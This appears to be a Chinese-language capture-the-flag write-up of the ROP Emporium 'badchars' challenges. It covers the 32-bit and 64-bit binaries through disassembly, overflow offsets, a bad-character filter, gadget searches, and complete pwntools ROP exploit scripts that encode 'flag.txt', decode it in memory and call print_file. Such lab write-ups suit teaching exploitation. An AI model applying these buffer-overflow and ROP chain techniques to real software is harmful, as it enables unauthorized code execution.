1. badchars32
信息收集
题目提供了一个可执行文件badchars32, 一个动态库libbadchars32.so,一个flag.txt。
$ file badchars32
badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=48ae8ea56ad3b3ef64444a622db86aa4f0f26b7d, not stripped
$ file libbadchars32.so
libbadchars32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9987e654d1d6aec3dbc0abbab74a28d1ab8b6286, not stripped
$ checksec libbadchars32.so
[*] '/home/starr/Documents/CProject/pwn/libbadchars32.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
黑盒测试
$ ./badchars32 < cyclic.txt
badchars by ROP Emporium
x86
badchars are: 'x', 'g', 'a', '.'
> Thank you!
Segmentation fault (core dumped)
$ gdb ./badchars32 ./badchars32.core.5172
...
Core was generated by `./badchars32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xebebeb6c in ?? ()
pwndbg> cyclic -l 0xebebeb6c
[CRITICAL] Pattern contains characters not present in the alphabet
这里定位溢出点失败了,应该和字符过滤有关,需要分析一下。
反汇编
$ objdump -d -M intel badchars32
080483b0 <pwnme@plt>:
...
080483d0 <print_file@plt>:
...
08048506 <main>:
8048506: 8d 4c 24 04 lea ecx,[esp+0x4]
804850a: 83 e4 f0 and esp,0xfffffff0
804850d: ff 71 fc push DWORD PTR [ecx-0x4]
8048510: 55 push ebp
8048511: 89 e5 mov ebp,esp
8048513: 51 push ecx
8048514: 83 ec 04 sub esp,0x4
8048517: e8 94 fe ff ff call 80483b0 <pwnme@plt>
804851c: b8 00 00 00 00 mov eax,0x0
8048521: 83 c4 04 add esp,0x4
...
8048529: c3 ret
0804852a <usefulFunction>:
804852a: 55 push ebp
804852b: 89 e5 mov ebp,esp
804852d: 83 ec 08 sub esp,0x8
8048530: 83 ec 0c sub esp,0xc
8048533: 68 e0 85 04 08 push 0x80485e0 # nonexistent
8048538: e8 93 fe ff ff call 80483d0 <print_file@plt>
804853d: 83 c4 10 add esp,0x10
8048540: 90 nop
8048541: c9 leave
8048542: c3 ret
08048543 <usefulGadgets>:
8048543: 00 5d 00 add BYTE PTR [ebp+0x0],bl
8048546: c3 ret
8048547: 30 5d 00 xor BYTE PTR [ebp+0x0],bl
804854a: c3 ret
804854b: 28 5d 00 sub BYTE PTR [ebp+0x0],bl
804854e: c3 ret
804854f: 89 37 mov DWORD PTR [edi],esi
8048551: c3 ret
$ strings -t x badchars32 | grep 5e0
5e0 nonexistent
$ objdump -d -M intel libbadchars32.so
000006bd <pwnme>:
...
711: 8d 45 c8 lea eax,[ebp-0x38]
714: 83 c0 10 add eax,0x10
717: 50 push eax
718: e8 83 fe ff ff call 5a0 <memset@plt>
...
747: 68 00 02 00 00 push 0x200
74c: 8d 45 c8 lea eax,[ebp-0x38]
74f: 83 c0 10 add eax,0x10
752: 50 push eax
753: 6a 00 push 0x0
755: e8 c6 fd ff ff call 520 <read@plt> read(stdin, exp-0x28, 0x200)
...
000007cf <print_file>:
7cf: 55 push ebp
7d0: 89 e5 mov ebp,esp
7d2: 53 push ebx
7d3: 83 ec 34 sub esp,0x34
...
7eb: 8d 83 cb e8 ff ff lea eax,[ebx-0x1735] "r"
7f1: 50 push eax
7f2: ff 75 08 push DWORD PTR [ebp+0x8]
7f5: e8 96 fd ff ff call 590 <fopen@plt>
...
862: c3 ret
主函数调用so中有溢出漏洞的pwnme函数,根据so的反汇编代码手算一下,溢出点偏移应该是(ebp+4) - (ebp-0x28) == 44
,其实和前几题一样。
而so中的print_file,可以用来输出flag。
pwnme函数中还有对输入字符串的检查,用ida分析一下:
.text:00000723 lea eax, (aBadcharsAreXGA - 2000h)[ebx] ; "badchars are: 'x', 'g', 'a', '.'"
.text:00000729 push eax ; s
.text:0000072A call _puts
.text:0000074C lea eax, [ebp+nInputBytes]
.text:0000074F add eax, 10h
.text:00000752 push eax ; buf
.text:00000753 push 0 ; fd
.text:00000755 call _read
.text:0000075A add esp, 10h
.text:0000075D mov [ebp+nInputBytes], eax
.text:00000760 mov [ebp+i], 0
.text:00000767 jmp short beginChecking
.text:00000769 ; ---------------------------------------------------------------------------
.text:00000769
.text:00000769 loopCheckInput: ; CODE XREF: pwnme+F8↓j
.text:00000769 mov [ebp+j], 0
.text:00000770 jmp short badchars_0_3
.text:00000772 ; ---------------------------------------------------------------------------
.text:00000772
.text:00000772 checkLogic: ; CODE XREF: pwnme+E5↓j
.text:00000772 mov eax, [ebp+i]
.text:00000775 movzx ecx, [ebp+eax+arrInput] ; arrInput[i]
.text:0000077A mov eax, [ebp+j]
.text:0000077D mov edx, ds:(badcharacters_ptr - 2000h)[ebx]
.text:00000783 movzx eax, byte ptr [edx+eax] ; badcharacters[j]
.text:00000787 cmp cl, al
.text:00000789 jnz short nextBadChar
.text:0000078B mov eax, [ebp+i] ; if(arrInput[i] == badchars[j])
.text:0000078B ; arrInput[i] = 0xEB
.text:0000078E mov [ebp+eax+arrInput], 0EBh
.text:00000793
.text:00000793 nextBadChar: ; CODE XREF: pwnme+CC↑j
.text:00000793 mov eax, [ebp+j]
.text:00000796 add eax, 1
.text:00000799 mov [ebp+j], eax
.text:0000079C
.text:0000079C badchars_0_3: ; CODE XREF: pwnme+B3↑j
.text:0000079C mov eax, [ebp+j]
.text:0000079F cmp eax, 3
.text:000007A2 jbe short checkLogic
.text:000007A4 mov eax, [ebp+i]
.text:000007A7 add eax, 1
.text:000007AA mov [ebp+i], eax
.text:000007AD
.text:000007AD beginChecking: ; CODE XREF: pwnme+AA↑j
.text:000007AD mov edx, [ebp+i]
.text:000007B0 mov eax, [ebp+nInputBytes]
.text:000007B3 cmp edx, eax
.text:000007B5 jb short loopCheckInput
.text:000007B7 sub esp, 0Ch
.text:000007BA lea eax, (aThankYou - 2000h)[ebx] ; "Thank you!"
坏字符一共4个,”x, g, a, .“,对输入的每个字符进行检查,如果发现坏字符则赋值为0xEB。所以在黑盒测试时,0xebebeb6c是3个a被替换后的数据。
思路
先假设没有过滤,那么需要把flag.txt字符串写进.data里,再返回到print_file。思路和write432一样。
搜索一下pop和mov:
pwndbg> rop --grep "pop|mov"
...
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
...
0x0804854c : pop ebp ; add bl, al ; mov dword ptr [edi], esi ; ret
0x08048548 : pop ebp ; add bl, al ; sub byte ptr [ebp], bl ; ret
0x08048544 : pop ebp ; add bl, al ; xor byte ptr [ebp], bl ; ret
0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
...
0x0804854f处的mov,和0x080485b8,0x080485b9的pop指令看起来可以搭配。简单构造一下payload:
padding len 44
pGadget1 pop esi ; pop edi ; pop ebp ; ret
"flag" pop to esi
pData pop to edi
padding pop to ebp
pGadget2 mov dword ptr [edi], esi ; ret "flag" --> .data
pGadget1 重复两次
".txt"
pData+4
padding
pGadget2
pPrintFile
padding 当然最好是一个正常的返回地址
pData
然后考虑坏字符的问题。梳理下流程:
- read之后马上检查坏字符,所以输入的字符串应该是经过解密的,比如a+1–>b,或者xor一下也行;
- 需要再找一段gadget,将输入字符解码,比如add, sub, xor,然后再存到.data里。
搜一下:
pwndbg> rop --grep "sub|add|xor"
0x08048523 : add al, 0x59 ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080484e8 : add al, 8 ; add ecx, ecx ; ret
0x0804846e : add al, 8 ; call eax
0x080484bb : add al, 8 ; call edx
0x0804854d : add bl, al ; mov dword ptr [edi], esi ; ret
0x08048549 : add bl, al ; sub byte ptr [ebp], bl ; ret
0x08048545 : add bl, al ; xor byte ptr [ebp], bl ; ret
0x0804847f : add bl, dh ; ret
0x0804847d : add byte ptr [eax], al ; add bl, dh ; ret
0x0804847c : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x08048398 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804847e : add byte ptr [eax], al ; ret
0x08048543 : add byte ptr [ebp], bl ; ret
0x08048520 : add byte ptr [ebx + 0x5d5904c4], al ; lea esp, [ecx - 4] ; ret
...
0x0804854b : sub byte ptr [ebp], bl ; ret
0x080484b4 : sub esp, 0x10 ; push eax ; push 0x804a020 ; call edx
0x08048468 : sub esp, 0x14 ; push 0x804a020 ; call eax
0x0804837d : sub esp, 8 ; call 0x8048449
0x08048478 : test byte ptr [ebp + 0x27bc], 0 ; add bl, dh ; ret
0x08048713 : xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x08048547 : xor byte ptr [ebp], bl ; ret
0x080485cf : xor ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
搜索结果要根据gadget1和gadget2来筛选,关注ebx、esi、edi、ebp这几个寄存器。注意到0x08048543处的指令,它可以将ebp指向的字节加上bl。从加密的角度,ebp指向密文,bl就是密钥。这里就取bl为1来构造payload吧。当然如果加密后还是坏字符,就得考虑异或之类的了。
其实,0x08048543,0x08048547, 0x0804854b三处指令都是出题人在usefulGadged函数提供的。
这个gadget3的使用方法:
- 因为是操作内存,所以应该放在pGadget2之后,此时已经将加密的字符串存到了.data中;
- 因为每次只能解密1个字节,所以要重复4次("flag.txt"有4个坏字节),并且需要有pop ebx, pop ebp这样的gadget,幸运的是刚刚搜索pop有这两条结果;
- 因为pGadget1里面也有pop ebx, pop ebp,所以别浪费,存储一次就解密一次。
并且因为用到了ebx,gadget1也要换成0x080485b8处的指令。
别忘了获取一下.data地址:
$ readelf -S badchars32 | grep .data
[16] .rodata PROGBITS 080485d8 0005d8 000014 00 A 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
构造payload:
padding len 44
pGadget1 0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000001 pop to ebx
"fl`f" pop to esi
pData pop to edi 存储位置 0x0804a018
pData + 2 pop to ebp a的密文
pGadget2 0x0804854f : mov dword ptr [edi], esi ; ret;
pGadgetDecrypt add byte ptr [ebp], bl ; ret 解密得到a
继续解密
pGadgetPopEbx 0x0804839d : pop ebx ; ret
0x000001
pGadgetPopEbp 0x080485bb : pop ebp ; ret
pData + 3 g的密文
pGadgetDecrypt 解密得到g
pGadget1 第二次存储
0x000001
"-twt"
pData+4 存储位置
pData+4 .的密文
pGadget2
pGadgetDecrypt 解密得到.
继续解密
pGadgetPopEbx
0x000001
pGadgetPopEbp
pData + 6 x的密文
pGadgetDecrypt 解密得到x
pPrintFile
padding 最好是一个正常的返回地址
pData
Exp
from pwn import *
context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
badChars = ["a", "g", ".", "x"]
def encryptSubOne(plainStr, byKey):
encryptedStr = ""
for i in range(len(plainStr)):
if plainStr[i] in badChars:
encryptedStr += chr(ord(plainStr[i]) - byKey);
else:
encryptedStr += plainStr[i]
return encryptedStr
nBufOverflowIndex = 44
pPltPrintFile = 0x080483d0;
pGadgetPopEbxEsiEdiEbp = 0x080485b8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pGadgetMoveEsiToEdi = 0x0804854f # mov dword ptr [edi], esi ; ret;
pGadgetPopEbx = 0x0804839d # pop ebx ; ret
pGadgetPopEbp = 0x080485bb # pop ebp ; ret
pGadgetDecrypt = 0x08048543 # add byte ptr [ebp], bl ; ret
pDataSection = 0x0804a018
byKey = 0x01
encryptedFlagTxt = encryptSubOne("flag.txt", byKey)
# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding = "ascii");
# 2.1 store encrypt("flag") and decrypt
payload += p32(pGadgetPopEbxEsiEdiEbp)
payload += p32(byKey) # pop to ebx
payload += bytes(encryptedFlagTxt[:4], encoding = "ascii") # pop to esi
payload += p32(pDataSection) # pop to edi 存储位置
payload += p32(pDataSection + 2) # pop to ebp a的密文
payload += p32(pGadgetMoveEsiToEdi) # mov dword ptr [edi], esi ; ret; 存入.data
payload += p32(pGadgetDecrypt) # add byte ptr [ebp], bl ; ret 解密得到a
# 2.2 继续解密
payload += p32(pGadgetPopEbx)
payload += p32(byKey) # pop to ebx
payload += p32(pGadgetPopEbp)
payload += p32(pDataSection + 3) # pop to ebp g的密文
payload += p32(pGadgetDecrypt) # 解密得到g
# 3.1 第二次存储
payload += p32(pGadgetPopEbxEsiEdiEbp)
payload += p32(byKey) # pop to ebx
payload += bytes(encryptedFlagTxt[4:], encoding = "ascii") # pop to esi
payload += p32(pDataSection+4) # pop to edi 存储位置
payload += p32(pDataSection+4) # pop to ebp .的密文
payload += p32(pGadgetMoveEsiToEdi) # 存入.data
payload += p32(pGadgetDecrypt) # 解密得到 .
# 3.2 继续解密
payload += p32(pGadgetPopEbx)
payload += p32(byKey) # pop to ebx
payload += p32(pGadgetPopEbp)
payload += p32(pDataSection + 6) # pop to ebp x的密文
payload += p32(pGadgetDecrypt) # 解密得到x
# 4. print_file("flag.txt")
payload += p32(pPltPrintFile)
payload += bytes("B" * int(context.bits/8), encoding = "ascii"); # 最好是一个正常的返回地址
payload += p32(pDataSection)
io = getio("./badchars32")
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()
# b'Thank you!\n'
# b'ROPE{a_placeholder_32byte_flag!}\n'
# b'Thank you!\nROPE{a_placeholder_32byte_flag!}\n'
2. badchars
信息
确认下.data段的地址:
$ readelf -S badchars | grep .data
[15] .rodata PROGBITS 00000000004006c0 000006c0
[23] .data PROGBITS 0000000000601028 00001028
反汇编
64位版本,可以一次传递8个字节,先反汇编看看传参,确认是用rdi传递字符串参数:
$ objdump -d -M intel badchars
...
0000000000400510 <print_file@plt>:
...
0000000000400617 <usefulFunction>:
400617: 55 push rbp
400618: 48 89 e5 mov rbp,rsp
40061b: bf c4 06 40 00 mov edi,0x4006c4
400620: e8 eb fe ff ff call 400510 <print_file@plt>
400625: 90 nop
...
0000000000400628 <usefulGadgets>:
400628: 45 30 37 xor BYTE PTR [r15],r14b
40062b: c3 ret
40062c: 45 00 37 add BYTE PTR [r15],r14b
40062f: c3 ret
400630: 45 28 37 sub BYTE PTR [r15],r14b
400633: c3 ret
400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12
400638: c3 ret
...
$ objdump -d -M intel libbadchars.so
...
00000000000008fa <pwnme>:
...
972: 48 8d 45 c0 lea rax,[rbp-0x40]
976: 48 83 c0 20 add rax,0x20
97a: ba 00 02 00 00 mov edx,0x200
97f: 48 89 c6 mov rsi,rax
982: bf 00 00 00 00 mov edi,0x0
987: e8 34 fe ff ff call 7c0 <read@plt> read(stdin, rsi, 0x200)
...
0000000000000a07 <print_file>:
a07: 55 push rbp
a08: 48 89 e5 mov rbp,rsp
a0b: 48 83 ec 40 sub rsp,0x40
a0f: 48 89 7d c8 mov QWORD PTR [rbp-0x38],rdi
a13: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0
a1a: 00
a1b: 48 8b 45 c8 mov rax,QWORD PTR [rbp-0x38]
a1f: 48 8d 35 d1 00 00 00 lea rsi,[rip+0xd1] # af7 <badcharacters+0x57>
a26: 48 89 c7 mov rdi,rax
a29: e8 c2 fd ff ff call 7f0 <fopen@plt>
...
同时确认溢出点偏移(rbp+8) - (rbp-0x40 + 0x20) == 0x28
构造Payload
搜一下gadget,关注rdi参数:
pwndbg> rop --grep "pop|mov"
...
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400687 : mov edi, ebp ; call qword ptr [r12 + rbx*8]
0x0000000000400686 : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
.
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret !!!!!!!!!!!!!
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret !!!!!!!!!
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret !!!!!!!!!!!!!!!
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400634处的mov指令,可以利用。pop指令就关注一下r13和r12寄存器(有两个),0x000000000040069c处的pop应该可以用。
0x00000000004006a0处pop r14, pop r15也可以用来获取key和密文地址。
0x00000000004006a3处pop rdi,用来最后传参给print_file。
然后搜一下解密gadget,关注r14和r15:
pwndbg> rop --grep "add|sub|xor"
0x0000000000400549 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040061e : add al, bpl ; jmp 0x40062a
0x000000000040061f : add al, ch ; jmp 0x400629
0x000000000040054f : add bl, dh ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret !!!!!
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040062d : add byte ptr [rdi], dh ; ret
0x00000000004005e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004004eb : add esp, 8 ; ret
0x00000000004004ea : add rsp, 8 ; ret
...
0x0000000000400630 : sub byte ptr [r15], r14b ; ret
0x0000000000400631 : sub byte ptr [rdi], dh ; ret
0x00000000004006b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret
...
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret
有0x000000000040062c、 0x0000000000400630、0x0000000000400628三处指令可以用,当然这也是作者在usefulGadgets函数提供的。
思路和32位大致一样:
padding len 0x28
pGadgetPop 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
encrypt("flag.txt") pop str to r12
pData pop .data addr to r13
1 pop key to r14
pData + 2 pop to r15 a的密文
pGadgetMovR13ToR12 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
pGadgetDecrypt 0x000000000040062c : add byte ptr [r15], r14b ; ret 获取a
pGadgetPopR14R15 0x00000000004006a0 : pop r14 ; pop r15 ; ret
1 key
pData + 3 g的密文
pGadgetDecrypt 获取g
pGadgetPopR14R15
1 key
pData + 4 .的密文
pGadgetDecrypt 获取.
pGadgetPopR14R15
1 key
pData + 6 x密文
pGadgetDecrypt 获取x
pGadgetPopRdi 0x00000000004006a3 : pop rdi ; ret
pData
pPltPrintFile 0x0000000000400510
调试分析
运行脚本后报错:
Failed to open file: flag.twt
"x"没有被成功解密,经过调试,发现问题出在.data的地址上:
>>> hex(0x601028+6)
'0x60102e'
>>> chr(0x2e)
'.'
x的密文所在的地址,被当作坏字符, 赋值为0xEB了,,,如下R15寄存器:
*R15 0x6010eb ◂— 0x0
RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7fff8ef4c1b8 —▸ 0x40062c (usefulGadgets+4) ◂— add byte ptr [r15], r14b /* 'E' */
*RIP 0x4006a4 (__libc_csu_init+100) ◂— ret
───────────────────[ DISASM ]────────────────────────
0x4006a3 <__libc_csu_init+99> pop rdi
► 0x4006a4 <__libc_csu_init+100> ret <0x40062c; usefulGadgets+4>
↓
0x40062c <usefulGadgets+4> add byte ptr [r15], r14b
那么试着将目标地址加上7个字节,就不会有地址包含坏字节了。
Exp
from pwn import *
context.arch = "amd64"
context.bits = 64
context.os = "linux"
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
badChars = ["a", "g", ".", "x"]
def encryptSubOne(plainStr, byKey):
encryptedStr = ""
for i in range(len(plainStr)):
if plainStr[i] in badChars:
encryptedStr += chr(ord(plainStr[i]) - byKey);
else:
encryptedStr += plainStr[i]
return encryptedStr
nBufOverflowIndex = 0x28
pDataSection = 0x0000000000601028 + 7 # 0x0000000000601028 + 6 --> badchar 0x2e
pPltPrintFile = 0x0000000000400510
pGadgetPop = 0x000000000040069c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pGadgetMovR13ToR12 = 0x0000000000400634 # mov qword ptr [r13], r12 ; ret
pGadgetDecrypt = 0x000000000040062c # add byte ptr [r15], r14b ; ret 获取a
pGadgetPopR14R15 = 0x00000000004006a0 # pop r14 ; pop r15 ; ret
pGadgetPopRdi = 0x00000000004006a3 # pop rdi ; ret
byKey = 0x1;
encryptedFlagTxt = encryptSubOne("flag.txt", byKey)
# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding="ascii")
# 2. store encryped "flag.txt" to .data and decrypt one byte
payload += p64(pGadgetPop) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += bytes(encryptedFlagTxt, encoding="ascii") # pop str to r12
payload += p64(pDataSection) # pop .data addr to r13
payload += p64(byKey) # key to r14
payload += p64(pDataSection + 2) # pop to r15 a的密文
payload += p64(pGadgetMovR13ToR12) # mov qword ptr [r13], r12 ; ret
payload += p64(pGadgetDecrypt) # add byte ptr [r15], r14b ; ret 获取a
# 3. decrypt other bytes
payload += p64(pGadgetPopR14R15) # pop r14 ; pop r15 ; ret
payload += p64(byKey) # key
payload += p64(pDataSection + 3) # g的密文
payload += p64(pGadgetDecrypt) # 获取g
payload += p64(pGadgetPopR14R15)
payload += p64(byKey) # key
payload += p64(pDataSection + 4) # .的密文
payload += p64(pGadgetDecrypt) # 获取.
payload += p64(pGadgetPopR14R15)
payload += p64(byKey) # key
payload += p64(pDataSection + 6) # x密文
payload += p64(pGadgetDecrypt) # 获取x
# 4. print_file("flag.txt")
payload += p64(pGadgetPopRdi) # pop rdi ; ret
payload += p64(pDataSection)
payload += p64(pPltPrintFile)
io = getio("./badchars")
io.recvuntil(">")
# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()